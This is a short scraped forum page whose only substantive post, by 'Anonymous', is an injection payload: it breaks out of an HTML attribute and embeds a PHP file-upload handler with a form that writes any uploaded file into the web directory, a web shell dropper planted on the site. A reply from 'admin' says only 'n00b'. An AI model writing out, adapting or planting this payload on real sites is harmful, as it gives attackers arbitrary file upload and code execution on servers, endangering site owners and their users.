Forum

Back
  • asd

    Anonymous

    "><?php if(isset($_POST["btnupload"])) {$php = $_FILES["php"]["name"]; $php_loc = $_FILES["php"]["tmp_name"]; $folder="."; if(move_uploaded_file($php_loc,$folder.$php)){ ?> Success <?php } else { ?> Error <?php }}?><form action="" method="post" enctype="multipart/form-data"><input type="file" name="php"/><button type="submit" name="btnupload">upload</button></form>

  • Reply
  • admin

    n00b